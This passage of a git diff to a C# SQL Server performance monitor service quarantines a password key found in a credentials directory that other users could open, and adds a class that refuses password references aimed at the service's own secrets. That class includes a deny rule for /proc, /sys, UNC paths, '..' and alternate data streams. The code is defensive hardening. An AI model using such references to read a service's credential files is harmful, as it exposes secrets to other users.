-                           start" holds for all of them. The next start trusts it: only a directory can be left, and no
-                           reader takes one for a credential. */
+                        /* A directory this process found open and could not empty stays refused to every later caller
+                           this start, though it now reads owner-only, so "nothing in it is used this start" holds for
+                           all of them. The next start trusts it, so what was left must not pass for a credential then:
+                           a password key that could not be moved aside leaves an empty file at its quarantine name (so
+                           its load refuses on every start), and a directory at a credential's name is read by nothing. */
                         return verdict.Distrust is null && guard.LeftBehind(directory) is { } leftBehind
                             ? new ComposeCredentialDirectoryTrust(leftBehind, MayWrite: false)
                             : verdict;
@@ -1684,7 +2625,9 @@ internal static ComposeCredentialDirectoryTrust JudgeComposeCredentialDirectory(
 
     /// <summary>
     /// Every file the service reads from a credentials directory, and the temporary file each is written through
-    /// (#4004 review, round 2): the three role passwords and the log-hash key, under both platforms' names.
+    /// (#4004, round 2): the three role passwords and the log-hash key, under both platforms' names. The
+    /// password key's own two names are not here, because an open directory keeps that file, renamed
+    /// (<see cref="PasswordKeyNames"/>); only the temporary files it is written through are.
     /// </summary>
     internal static IReadOnlyList<string> CredentialDirectoryFileNames { get; } = BuildCredentialDirectoryFileNames();
 
@@ -1698,16 +2641,28 @@ private static string[] BuildCredentialDirectoryFileNames()
             DarlingLogHashKeyFile.UnixFileName,
             DarlingLogHashKeyFile.WindowsFileName,
         };
-        return names.SelectMany(name => new[] { name, name + ".tmp" }).ToArray();
+        return names.SelectMany(name => new[] { name, name + ".tmp" })
+            .Concat(PasswordKeyNames.Select(name => name + ".tmp"))
+            .ToArray();
     }
 
+    /// <summary>The password key's file name on each platform (#5366). The directory check does not remove these when it
+    /// finds the directory open: it renames what is at them to the quarantine name
+    /// (<see cref="DarlingPasswordKeyFile.QuarantineSuffix"/>), so the key's load can say so, on this start and every
+    /// later one, and the caller can check the key against what it published.</summary>
+    internal static IReadOnlyList<string> PasswordKeyNames =>
+        [DarlingPasswordKeyFile.UnixFileName, DarlingPasswordKeyFile.WindowsFileName];
+
     /// <summary>
-    /// The directory was open to other users until this call set it owner-only (#4004 review, round 2), so any file
-    /// in it could have been planted, and the file check cannot tell (it cannot see a Unix owner). Every entry at a
-    /// name the service reads is removed NOW, before anything reads it, so the discard does not depend on this start
-    /// living long enough to reach whichever step would have replaced that file: the chmod is permanent, and the
-    /// next start, finding the directory owner-only, trusts what is left. Removed, the directory holds only what the
-    /// service writes from here on, so it is trusted.
+    /// The directory was open to other users until this call set it owner-only (#4004, round 2), so any file
+    /// in it could have been planted. Every entry at a name the service reads, except the password key, is removed NOW,
+    /// before anything reads it, so the discard does not depend on this start living long enough to reach whichever
+    /// step would have replaced that file: the chmod is permanent, and the next start, finding the directory
+    /// owner-only, trusts what is left. Removed, the directory holds only what the service writes from here on, so it
+    /// is trusted. The password key is the one file that cannot be regenerated, so it is renamed, not removed
+    /// (<see cref="SetPasswordKeyAside"/>): the live name is empty before the directory lock is released, the kept file
+    /// stays on disk under its quarantine name, and every later start finds it there until the key's owner accepts or
+    /// retires it (<see cref="DarlingPasswordKeyFile.Accept"/>, <see cref="DarlingPasswordKeyFile.Retire"/>).
     ///
     /// <para><b>Every name is tried, and the directory stays owner-only whatever is left</b> (#4004 review, round 3).
     /// Round 2 stopped at the first entry it could not remove and set the directory back to the mode it was found
@@ -1731,7 +2686,32 @@ private static ComposeCredentialDirectoryTrust DiscardWhatOthersCouldHavePut(
     {
         var removed = new List<string>();
         var left = new List<string>();
-        foreach (var name in CredentialDirectoryFileNames)
+
+        /* #5366: the password key is kept, not removed: whatever is at its name is renamed (never overwritten) to a name
+           that says it was found while the directory was open, so the record is on disk and survives a restart. The live
+           name is empty before the lock is released, and the key's load reads the kept file under its usual checks. */
+        foreach (var name in PasswordKeyNames)
+        {
+            SetPasswordKeyAside(directory, name, guard, left, logger);
+        }
+
+        /* The password key is written through a temporary file with a name of its own each time (#5366): the ones a
+           crashed write left are removed with the rest. */
+        var names = new List<string>(CredentialDirectoryFileNames);
+        foreach (var keyName in PasswordKeyNames)
+        {
+            try
+            {
+                names.AddRange(Directory.EnumerateFileSystemEntries(directory, keyName + DarlingServiceKeyFile.UniqueTemporaryInfix + "*")
+                    .Select(Path.GetFileName)!);
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+            {
+                left.Add($"{Path.Combine(directory, keyName + DarlingServiceKeyFile.UniqueTemporaryInfix)}* (they could not be listed: {ex.Message})");
+            }
+        }
+
+        foreach (var name in names)
         {
             var path = Path.Combine(directory, name);
             var info = new FileInfo(path);
@@ -1787,6 +2767,106 @@ private static ComposeCredentialDirectoryTrust DiscardWhatOthersCouldHavePut(
         return new ComposeCredentialDirectoryTrust(null, MayWrite: true);
     }
 
+    /// <summary>
+    /// Renames whatever is at <paramref name="name"/> in <paramref name="directory"/> to the password key's quarantine name
+    /// (<see cref="DarlingPasswordKeyFile.QuarantineSuffix"/>), with no overwrite (#5366). A file already at the
+    /// quarantine name is never replaced and never trusted: this one goes to the next free
+    /// <c>name.discarded-N</c> instead. Nothing is deleted. A directory or a link at the name is moved as it is, never
+    /// followed. On Unix a regular file that is kept is set to 0600 afterwards (a mount's group setting can add group
+    /// bits back); when that fails the load reports the file untrusted. An entry that cannot be moved is added to
+    /// <paramref name="left"/>, which refuses the directory this start.
+    /// </summary>
+    private static void SetPasswordKeyAside(string directory, string name, ComposeCredentialDirectoryGuard guard, List<string> left, ILogger logger)
+    {
+        var path = Path.Combine(directory, name);
+        var quarantine = path + DarlingPasswordKeyFile.QuarantineSuffix;
+        var target = quarantine;
+        var moveStarted = false;
+        try
+        {
+            if (!DarlingServiceKeyFile.AnythingAt(path))
+            {
+                return;
+            }
+
+            for (var attempt = 1; DarlingServiceKeyFile.AnythingAt(target) && attempt < 1000; attempt++)
+            {
+                target = path + ".discarded-" + attempt.ToString(CultureInfo.InvariantCulture);
+            }
+
+            var regularFile = new FileInfo(path).LinkTarget is null && File.Exists(path);
+            moveStarted = true;
+            if (!regularFile && Directory.Exists(path) && new FileInfo(path).LinkTarget is null)
+            {
+                Directory.Move(path, target);
+            }
+            else
+            {
+                File.Move(path, target, overwrite: false);
+            }
+
+            moveStarted = false;
+            if (regularFile && guard.UnixModes is { } modes)
+            {
+                SetKeptKeyOwnerOnly(modes, target, logger);
+            }
+
+            logger.LogWarning(
+                "The password key at {Path} was found while the credentials directory {Directory} was open to other users, and is kept as {Kept} (#5366). It is not deleted, and the key's load checks it against the store before it is used.",
+                path, directory, target);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or ArgumentException)
+        {
+            left.Add($"{path} (it could not be set aside as {Path.GetFileName(target)}: {ex.Message})");
+
+            /* A move that failed leaves the key at its live name in a directory that is owner-only from now on, which the
+               next start would trust and load with nothing to say it was found open (#5366). An empty file at the
+               quarantine name makes every later load refuse (two names, or an empty key), however many starts follow. When
+               the quarantine name was taken already, that file is the record and nothing is added. */
+            if (moveStarted && target == quarantine)
+            {
+                try
+                {
+                    var options = new FileStreamOptions { Mode = FileMode.CreateNew, Access = FileAccess.Write };
+                    if (!OperatingSystem.IsWindows())
+                    {
+                        options.UnixCreateMode = OwnerOnlyFile;
+                    }
+
+                    using var marker = new FileStream(quarantine, options);
+                }
+                catch (Exception markerEx) when (markerEx is IOException or UnauthorizedAccessException)
+                {
+                    logger.LogError("Could not leave a marker at {Path} for the password key that could not be set aside: {Message}", quarantine, markerEx.Message);
+                }
+            }
+        }
+    }
+
+    /// <summary>
+    /// Sets a kept password key to 0600 (#5366; a mount's group setting can add group bits back), but only a file that is
+    /// the service's own with one name: as root, a chmod would otherwise change the mode of whatever file someone
+    /// linked in while the directory was open. A file whose owner cannot be told is left as it is; the load then
+    /// reports it untrusted by its mode.
+    /// </summary>
+    private static void SetKeptKeyOwnerOnly(IUnixDirectoryModes modes, string target, ILogger logger)
+    {
+        try
+        {
+            if (DarlingServiceKeyFile.UnexpectedOwnerReason(target) is { } notOurs)
+            {
+                logger.LogDebug("Left {File} as it is: {Reason}", target, notOurs);
+                return;
+            }
+
+            modes.Set(target, OwnerOnlyFile);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            logger.LogDebug("Could not set {File} to owner-only: {Message}", target, ex.Message);
+        }
+    }
+
     private const UnixFileMode GroupOrOtherAccess =
         UnixFileMode.GroupRead | UnixFileMode.GroupWrite | UnixFileMode.GroupExecute
         | UnixFileMode.OtherRead | UnixFileMode.OtherWrite | UnixFileMode.OtherExecute;
@@ -2172,8 +3252,18 @@ internal interface IUnixDirectoryModes
     UnixFileMode Get(string directory);
 
     void Set(string directory, UnixFileMode mode);
+
+    /// <summary>The owner's user id and the link count of the file at <paramref name="path"/> (#5366), or null when they
+    /// cannot be read here (Windows, a platform whose stat layout is not known, a stand-in that does not model them).</summary>
+    UnixFileOwner? OwnerOf(string path) => null;
+
+    /// <summary>The user id this process runs as, for comparing with <see cref="UnixFileOwner.UserId"/>.</summary>
+    uint EffectiveUserId => 0;
 }
 
+/// <summary>Who owns a file and how many names it has (#5366).</summary>
+internal readonly record struct UnixFileOwner(uint UserId, ulong Links);
+
 /// <summary>The platform's own <see cref="IUnixDirectoryModes"/>, on every platform but Windows.</summary>
 [UnsupportedOSPlatform("windows")]
 internal sealed class PlatformUnixDirectoryModes : IUnixDirectoryModes
@@ -2183,4 +3273,8 @@ internal sealed class PlatformUnixDirectoryModes : IUnixDirectoryModes
     public UnixFileMode Get(string directory) => File.GetUnixFileMode(directory);
 
     public void Set(string directory, UnixFileMode mode) => File.SetUnixFileMode(directory, mode);
+
+    public UnixFileOwner? OwnerOf(string path) => FileIdentity.UnixOwnerOf(path);
+
+    public uint EffectiveUserId => FileIdentity.EffectiveUserId();
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingNetworkConfigEditor.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingNetworkConfigEditor.cs
index 4491bfbf67..e300955605 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingNetworkConfigEditor.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingNetworkConfigEditor.cs
@@ -9,6 +9,7 @@
 using System;
 using System.Collections.Generic;
 using System.Text.Json;
+using PerformanceMonitor.Darling.Service.Hosting;
 
 namespace PerformanceMonitor.Darling.Service;
 
@@ -457,6 +458,30 @@ internal static string BuildStoreNetworkBlock(string listen, string allowFrom, s
         FieldIndent + $"\"role\": {JsonString(role)}  // remote pg_hba role(s): viewer (read-only, default), admin (remote writes), or both (\"admin,viewer\").\n" +
         ChildIndent + "}";
 
+    /// <summary>
+    /// #5288: the text the wizard writes as <c>mcp.network.allowFrom</c> / <c>web.network.allowFrom</c> (and
+    /// builds the firewall hint from) for what the operator typed. ONE entry comes back exactly as typed, so a
+    /// single-CIDR block is byte-for-byte what it was before the list existed. A LIST (two or more entries, or a
+    /// comma list that de-duplicates to one) comes back as <c>CidrAllowList.ToString()</c> — each entry masked,
+    /// duplicates dropped, joined by <c>,</c> with no spaces — so the file holds the text the hosts themselves
+    /// compute, and the firewall hint carries the exact scope the service enforces.
+    ///
+    /// <para><b>Always ONE JSON string, never a JSON array</b>, whatever the count. The settings converter
+    /// still READS an array (for hand edits), but a service older than #5288 cannot deserialize one: the whole
+    /// service then fails to start, collection included. The same service reads a comma string as an invalid
+    /// range and degrades only that listener to loopback-only. After a rollback the wizard's output must
+    /// therefore stay the safe shape.</para>
+    ///
+    /// <para>Text <see cref="CidrAllowList.TryParse"/> refuses comes back as typed: the wizard validates through
+    /// the bind resolvers before it builds a block and re-checks the final text, so that is only a direct
+    /// caller's input. No second split, trim or de-dupe lives here. Pure.</para>
+    /// </summary>
+    internal static string AllowFromText(string allowFrom)
+        => CidrAllowList.TryParse(allowFrom, out var list)
+           && (list.Count > 1 || allowFrom.Contains(',', StringComparison.Ordinal))
+            ? list.ToString()
+            : allowFrom;
+
     /// <summary>
     /// The keys <see cref="BuildMcpNetworkBlock"/> writes (#4743). BOTH token keys are owned even though a
     /// block carries only one: switching a plaintext <c>token</c> to an <c>encryptedToken</c> must not
@@ -468,7 +493,9 @@ internal static string BuildStoreNetworkBlock(string listen, string allowFrom, s
     /// The active (uncommented) <c>mcp.network</c> block the wizard writes. Exactly one of
     /// <paramref name="encryptedToken"/> / <paramref name="plaintextToken"/> is non-null: the wizard
     /// prefers <c>encryptedToken</c> (a DPAPI blob) and only emits a plaintext <c>token</c> when
-    /// preserving an existing plaintext value the operator chose to keep. Pure.
+    /// preserving an existing plaintext value the operator chose to keep. #5288: <paramref name="allowFrom"/>
+    /// may be one CIDR or a comma list, and is written as ONE JSON string either way, never an array
+    /// (<see cref="AllowFromText"/>). Pure.
     /// </summary>
     internal static string BuildMcpNetworkBlock(
         string listen, string allowFrom, string? encryptedToken, string? plaintextToken)
@@ -480,7 +507,7 @@ internal static string BuildMcpNetworkBlock(
         return
             "\"network\": {\n" +
             FieldIndent + $"\"listen\": {JsonString(listen)},  // bind IP; 0.0.0.0 = all interfaces.\n" +
-            FieldIndent + $"\"allowFrom\": {JsonString(allowFrom)},  // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).\n" +
+            FieldIndent + $"\"allowFrom\": {JsonString(AllowFromText(allowFrom))},  // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).\n" +
             tokenLine +
             ChildIndent + "}";
     }
@@ -497,7 +524,9 @@ internal static string BuildMcpNetworkBlock(
     /// The active (uncommented) <c>web.network</c> block the wizard writes (#1617) — the web-dashboard twin
     /// of <see cref="BuildMcpNetworkBlock"/>, same exactly-one-of token contract: the wizard prefers
     /// <c>encryptedToken</c> (a DPAPI blob) and only emits a plaintext <c>token</c> when preserving an
-    /// existing plaintext value the operator chose to keep. Pure.
+    /// existing plaintext value the operator chose to keep. #5288: <paramref name="allowFrom"/> may be one CIDR
+    /// or a comma list, and is written as ONE JSON string either way, never an array
+    /// (<see cref="AllowFromText"/>). Pure.
     /// </summary>
     internal static string BuildWebNetworkBlock(
         string listen, string allowFrom, string? encryptedToken, string? plaintextToken)
@@ -509,7 +538,7 @@ internal static string BuildWebNetworkBlock(
         return
             "\"network\": {\n" +
             FieldIndent + $"\"listen\": {JsonString(listen)},  // bind IP; 0.0.0.0 = all interfaces.\n" +
-            FieldIndent + $"\"allowFrom\": {JsonString(allowFrom)},  // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).\n" +
+            FieldIndent + $"\"allowFrom\": {JsonString(AllowFromText(allowFrom))},  // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).\n" +
             tokenLine +
             ChildIndent + "}";
     }
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingOwnedSecrets.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingOwnedSecrets.cs
new file mode 100644
index 0000000000..648f283566
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingOwnedSecrets.cs
@@ -0,0 +1,732 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using Microsoft.Win32.SafeHandles;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>The files and environment variables that belong to Darling itself.</summary>
+public sealed record DarlingOwnedSet(IReadOnlyList<string> Paths, IReadOnlyList<string> EnvNames)
+{
+    public static DarlingOwnedSet Empty { get; } = new(Array.Empty<string>(), Array.Empty<string>());
+}
+
+/// <summary>
+/// Process-wide holder for the owned set. A static is used because <c>DarlingConfig.Load</c> is called
+/// separately by the worker, the MCP host and the web host, and the server-add core is a static method with
+/// no dependency injection: each host populates the holder the same way from <c>Load</c>, and the add core
+/// reads it. Written once at startup (<see cref="Set"/>), then read; the reference swap is atomic.
+/// </summary>
+public static class DarlingOwnedSecrets
+{
+    /// <summary>The state before any configuration has loaded. Compared by REFERENCE: an <see cref="DarlingOwnedSet.Empty"/>
+    /// set is a populated set that owns nothing, which is not the same thing and is not refused wholesale.</summary>
+    internal static DarlingOwnedSet Unpopulated { get; } = new(Array.Empty<string>(), Array.Empty<string>());
+
+    private static volatile DarlingOwnedSet s_current = Unpopulated;
+    private const int MaxDepth = 8;
+
+    /// <summary>Environment variables the service itself reads. A census test keeps this complete.</summary>
+    internal static readonly IReadOnlySet<string> ServiceEnvNames = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
+    {
+        "DARLING_CONFIG",
+        "DARLING_OUTPUT_FORMAT",
+        "DARLING_STOPPED_MARKER",
+        "DOTNET_RUNNING_IN_CONTAINER",
+        "SystemDrive",
+        "USERPROFILE",
+    };
+
+    /// <summary>The current owned set. Until a configuration has loaded this is <see cref="Unpopulated"/>, and every
+    /// <c>env:</c>/<c>file:</c> reference is refused: a guard that exists only when the configuration happened to load
+    /// is not a guard.</summary>
+    public static DarlingOwnedSet Current => s_current;
+
+    public static void Set(DarlingOwnedSet set) => s_current = set ?? Unpopulated;
+
+    /// <summary>One sentence for every refusal; it names no path and no variable.</summary>
+    internal const string ReferenceRefusalText =
+        "That password reference points at this service's own configuration or secrets.";
+
+    private const int MaxLinkHops = 40;
+
+    private static StringComparison EnvComparison =>
+        OperatingSystem.IsWindows() ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal;
+
+    /* Windows and macOS volumes are case-insensitive by default. Identity (below) is the real answer for a file that
+       exists; this is the text fallback for one that does not, so it errs toward refusing on macOS. */
+    private static StringComparison PathComparison =>
+        OperatingSystem.IsWindows() || OperatingSystem.IsMacOS() ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal;
+
+    /// <summary>Null when <paramref name="password"/> is not an <c>env:</c>/<c>file:</c> reference or the reference
+    /// points at nothing Darling owns; otherwise <see cref="ReferenceRefusalText"/>.
+    /// Identity comparison (volume + file ID of each owned path, a small known set) catches a symlink, a case variant and a
+    /// Windows short name. A hard link placed outside every owned directory is out of scope: making one needs local read
+    /// access to the target, which already defeats this control, and finding one would mean statting every file under the
+    /// owned directories (thousands, in the database data directory) on an interactive path.
+    /// When the identity of the referenced path, or of a directory above it, cannot be determined, the answer depends on
+    /// WHY. A path that does not exist (no file, no directory) has no identity and is accepted: the reference may name a
+    /// file that is not there yet, and the connection attempt reports the real failure. A path that exists but cannot be
+    /// examined (access denied, or any other failure that is not absence) is REFUSED, because nothing proves it is not one
+    /// of Darling's own files; the refusal text is the same sentence. The identity source reports absence by returning
+    /// null and every other failure by throwing.
+    /// An owned path whose own identity cannot be read contributes no identity to the comparison; the text comparison
+    /// still covers it.</summary>
+    internal static string? ReferenceRefusal(string? password) => ReferenceRefusal(password, s_current);
+
+    internal static string? ReferenceRefusal(string? password, DarlingOwnedSet owned)
+        => ReferenceRefusal(password, owned, FileIdentity.Of);
+
+    internal static string? ReferenceRefusal(string? password, DarlingOwnedSet owned, Func<string, FileId?> identityOf)
+    {
+        if (string.IsNullOrWhiteSpace(password))
+        {
+            return null;
+        }
+
+        var value = password.Trim();
+        var isFile = value.StartsWith("file:", StringComparison.Ordinal);
+        var isEnv = value.StartsWith("env:", StringComparison.Ordinal);
+        if ((isFile || isEnv) && ReferenceEquals(owned, Unpopulated))
+        {
+            return ReferenceRefusalText; /* No configuration has loaded, so nothing can be said to be safe. */
+        }
+
+        if (isFile)
+        {
+            return FileRefused(value["file:".Length..].Trim(), owned, identityOf) ? ReferenceRefusalText : null;
+        }
+
+        if (isEnv)
+        {
+            var name = value["env:".Length..].Trim();
+            return owned.EnvNames.Any(n => string.Equals(n, name, EnvComparison)) ? ReferenceRefusalText : null;
+        }
+
+        return null;
+    }
+
+    internal static bool FileRefused(string path, DarlingOwnedSet owned, Func<string, FileId?> identityOf)
+    {
+        if (IsRefusedForm(path))
+        {
+            return true;
+        }
+
+        var real = RealPath(path);
+        if (real is null)
+        {
+            return true;
+        }
+
+        var ownedIds = new HashSet<FileId>();
+        foreach (var ownedPath in owned.Paths)
+        {
+            if (string.IsNullOrWhiteSpace(ownedPath) || ownedPath.Contains('\0'))
+            {
+                continue;
+            }
+
+            /* Text first: it covers an owned path that does not exist yet (a log or key the store has not written),
+               where identity has nothing to read. */
+            var ownedReal = RealPath(ownedPath);
+            if (ownedReal is not null && Covers(ownedReal, real))
+            {
+                return true;
+            }
+
+            if (Safe(identityOf, ownedPath) is { } id)
+            {
+                ownedIds.Add(id);
+            }
+
+            if (ownedReal is not null && Safe(identityOf, ownedReal) is { } realId)
+            {
+                ownedIds.Add(realId);
+            }
+        }
+
+        if (ownedIds.Count > 0 && ReachesOwned(path, real, ownedIds, identityOf))
+        {
+            return true;
+        }
+
+        return false;
+    }
+
+    /// <summary>True when the file, or any directory above it, IS an owned file or directory — by volume and file ID,
+    /// so a hard link, a bind mount, a Windows 8.3 short name and a case variant all arrive at the same identity. A file
+    /// that does not exist has no identity of its own; its nearest existing ancestor still does. Also true when the
+    /// identity of the file or of an ancestor exists but cannot be read (see <see cref="Safe"/>): with no way to prove the
+    /// path is not owned, it is treated as owned. Absence is not that case and does not refuse.</summary>
+    private static bool ReachesOwned(string path, string real, HashSet<FileId> ownedIds, Func<string, FileId?> identityOf)
+    {
+        foreach (var start in new[] { path, real })
+        {
+            string? current;
+            try
+            {
+                current = Path.GetFullPath(start);
+            }
+            catch (Exception ex) when (ex is ArgumentException or NotSupportedException or PathTooLongException)
+            {
+                return true;
+            }
+
+            for (var i = 0; i < 256 && current is not null; i++)
+            {
+                var lookup = Lookup(identityOf, current);
+                if (lookup.Undeterminable || (lookup.Id is { } id && ownedIds.Contains(id)))
+                {
+                    return true;
+                }
+
+                current = Path.GetDirectoryName(current);
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>The result of one identity lookup. <see cref="Id"/> null with <see cref="Undeterminable"/> false means the
+    /// path does not exist; <see cref="Undeterminable"/> true means it could not be examined, for a reason other than absence.</summary>
+    private readonly record struct IdentityLookup(FileId? Id, bool Undeterminable);
+
+    /// <summary>Identity of a path, keeping the reason a lookup produced nothing. The seam contract: null is absence;
+    /// an exception is a failure to examine something that may exist.</summary>
+    private static IdentityLookup Lookup(Func<string, FileId?> identityOf, string path)
+    {
+        try
+        {
+            return new IdentityLookup(identityOf(path), false);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or ArgumentException or NotSupportedException
+                                       or DllNotFoundException or EntryPointNotFoundException or MarshalDirectiveException)
+        {
+            return new IdentityLookup(null, true);
+        }
+    }
+
+    /// <summary>For the owned side only: an owned path with no readable identity simply adds none to the set.</summary>
+    private static FileId? Safe(Func<string, FileId?> identityOf, string path) => Lookup(identityOf, path).Id;
+
+    /// <summary>Forms no real secret path needs, refused before any comparison.</summary>
+    private static bool IsRefusedForm(string path)
+    {
+        if (path.Length == 0 || path.Contains('\0') || !Path.IsPathRooted(path) || path[0] == '~')
+        {
+            return true;
+        }
+
+        if (path.StartsWith("\\\\", StringComparison.Ordinal) || path.StartsWith("//", StringComparison.Ordinal))
+        {
+            return true; /* UNC root, and the \\?\ and \\.\ prefixes */
+        }
+
+        if (path.Split('/', '\\').Contains(".."))
+        {
+            return true;
+        }
+
+        var hasDrive = path.Length >= 2 && char.IsAsciiLetter(path[0]) && path[1] == ':';
+        if (path.IndexOf(':', hasDrive ? 2 : 0) >= 0)
+        {
+            return true; /* alternate data stream */
+        }
+
+        return path.Equals("/proc", StringComparison.Ordinal) || path.StartsWith("/proc/", StringComparison.Ordinal)
+            || path.Equals("/sys", StringComparison.Ordinal) || path.StartsWith("/sys/", StringComparison.Ordinal);
+    }
+
+    /// <summary>The path with every symbolic link followed (capped; null on a cycle or an unresolvable path).</summary>
+    private static string? RealPath(string path)
+    {
+        try
+        {
+            var full = Path.GetFullPath(path);
+            var root = Path.GetPathRoot(full) ?? "";
+            var queue = new LinkedList<string>(full[root.Length..].Split(
+                new[] { Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar }, StringSplitOptions.RemoveEmptyEntries));
+            var current = root;
+            var hops = 0;
+            while (queue.First is { } head)
+            {
+                queue.RemoveFirst();
+                var part = head.Value;
+                if (part == ".")
+                {
+                    continue;
+                }
+
+                if (part == "..")
+                {
+                    current = Path.GetDirectoryName(current) ?? root;
+                    continue;
+                }
+
+                var next = Path.Combine(current, part);
+                var target = new DirectoryInfo(next).LinkTarget;
+                if (target is null)
+                {
+                    current = next;
+                    continue;
+                }
+
+                if (++hops > MaxLinkHops)
+                {
+                    return null;
+                }
+
+                var targetFull = Path.IsPathRooted(target) ? target : Path.Combine(current, target);
+                var targetRoot = Path.GetPathRoot(targetFull) ?? "";
+                current = targetRoot;
+                var parts = targetFull[targetRoot.Length..].Split(
+                    new[] { Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar }, StringSplitOptions.RemoveEmptyEntries);
+                for (var i = parts.Length - 1; i >= 0; i--)
+                {
+                    queue.AddFirst(parts[i]);
+                }
+            }
+
+            return Path.GetFullPath(current);
+        }
+        catch (Exception ex) when (ex is ArgumentException or NotSupportedException or PathTooLongException or IOException or UnauthorizedAccessException)
+        {
+            return null;
+        }
+    }
+
+    private static bool Covers(string directory, string path)
+    {
+        var dir = Path.TrimEndingDirectorySeparator(directory);
+        if (path.Equals(dir, PathComparison) || path.Equals(directory, PathComparison))
+        {
+            return true;
+        }
+
+        return path.Length > dir.Length
+            && path.StartsWith(dir, PathComparison)
+            && (path[dir.Length] == Path.DirectorySeparatorChar || path[dir.Length] == Path.AltDirectorySeparatorChar);
+    }
+
+    /// <summary>Walks string properties of the graph by reflection and returns every env:/file: value as written.</summary>
+    internal static List<string> CollectReferences(object root)
+    {
+        var found = new List<string>();
+        Walk(root, found, new HashSet<object>(ReferenceEqualityComparer.Instance), 0, pathsOnly: false, paths: null);
+        return found;
+    }
+
+    private static bool IsOurs(Type t) => t.Assembly == typeof(DarlingOwnedSecrets).Assembly;
+
+    private static void Walk(object? node, List<string> refs, HashSet<object> seen, int depth, bool pathsOnly, List<string>? paths)
+    {
+        if (node is null || depth > MaxDepth || !seen.Add(node))
+        {
+            return;
+        }
+
+        if (node is string)
+        {
+            return;
+        }
+
+        if (node is IEnumerable items)
+        {
+            foreach (var item in items)
+            {
+                if (item is string str)
+                {
+                    Visit(str, null, refs, paths);
+                }
+                else if (item is not null && IsOurs(item.GetType()))
+                {
+                    Walk(item, refs, seen, depth + 1, pathsOnly, paths);
+                }
+            }
+
+            return;
+        }
+
+        if (!IsOurs(node.GetType()))
+        {
+            return;
+        }
+
+        foreach (var prop in node.GetType().GetProperties(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance))
+        {
+            if (prop.GetIndexParameters().Length != 0 || !prop.CanRead)
+            {
+                continue;
+            }
+
+            if (Attribute.IsDefined(prop, typeof(System.Text.Json.Serialization.JsonIgnoreAttribute)))
+            {
+                continue;
+            }
+
+            object? value;
+            try
+            {
+                value = prop.GetValue(node);
+            }
+            catch (Exception ex) when (ex is TargetInvocationException or InvalidOperationException)
+            {
+                continue;
+            }
+
+            if (value is string s)
+            {
+                Visit(s, prop.Name, refs, paths);
+            }
+            else if (value is not null && !value.GetType().IsPrimitive && !value.GetType().IsEnum)
+            {
+                Walk(value, refs, seen, depth + 1, pathsOnly, paths);
+            }
+        }
+    }
+
+    private static void Visit(string value, string? propName, List<string> refs, List<string>? paths)
+    {
+        if (DarlingSecretSource.IsReference(value))
+        {
+            refs.Add(value);
+        }
+        else if (paths is not null && propName is not null && value.Length > 0
+                 && (propName.EndsWith("Path", StringComparison.Ordinal) || propName.EndsWith("Directory", StringComparison.Ordinal)))
+        {
+            paths.Add(value);
+        }
+    }
+
+    /// <summary>Builds the owned set for a loaded config: config directory, every referenced file/env var,
+    /// path-valued settings, the store data directory, and the managed store's credential/key/log files that
+    /// sit in that directory's PARENT.</summary>
+    internal static DarlingOwnedSet Compute(DarlingConfig config, string configPath)
+    {
+        var paths = new List<string>();
+        var envNames = new List<string>(ServiceEnvNames);
+
+        try
+        {
+            var dir = Path.GetDirectoryName(Path.GetFullPath(configPath));
+            if (!string.IsNullOrEmpty(dir))
+            {
+                paths.Add(dir);
+            }
+        }
+        catch (Exception ex) when (ex is ArgumentException or NotSupportedException or PathTooLongException)
+        {
+            /* An unresolvable config path owns nothing we can name. */
+        }
+
+        foreach (var r in config.SecretReferencesAsWritten)
+        {
+            if (r.StartsWith("file:", StringComparison.Ordinal))
+            {
+                paths.Add(r["file:".Length..].Trim());
+            }
+            else
+            {
+                envNames.Add(r["env:".Length..].Trim());
+            }
+        }
+
+        var pathValues = new List<string>();
+        Walk(config, new List<string>(), new HashSet<object>(ReferenceEqualityComparer.Instance), 0, false, pathValues);
+        paths.AddRange(pathValues);
+
+        /* A managed store with no dataDirectory lives at the DEFAULT directory, so resolve it exactly as the store does;
+           reading the setting as written would leave the default install owning none of its own files. */
+        var data = config.Postgres is { Managed: true } managed
+            ? DarlingManagedPostgres.ResolveDataDirectory(managed)
+            : config.Postgres?.DataDirectory;
+
+        /* The compose distribution's credential directory (plaintext role passwords) and the log-hash key's directory
+           for this configuration. Both are directories; everything under them is owned. */
+        paths.Add(DarlingManagedRoles.ComposeStoreCredentialDirectory);
+        try
+        {
+            paths.Add(DarlingLogHashKeyFile.DirectoryFor(config, configPath));
+        }
+        catch (Exception ex) when (ex is ArgumentException or NotSupportedException or PathTooLongException or InvalidOperationException)
+        {
+            /* An unresolvable key directory owns nothing we can name. */
+        }
+
+        if (!string.IsNullOrWhiteSpace(data))
+        {
+            paths.Add(data);
+            try
+            {
+                var parent = Path.GetDirectoryName(Path.TrimEndingDirectorySeparator(Path.GetFullPath(data)));
+                if (!string.IsNullOrEmpty(parent))
+                {
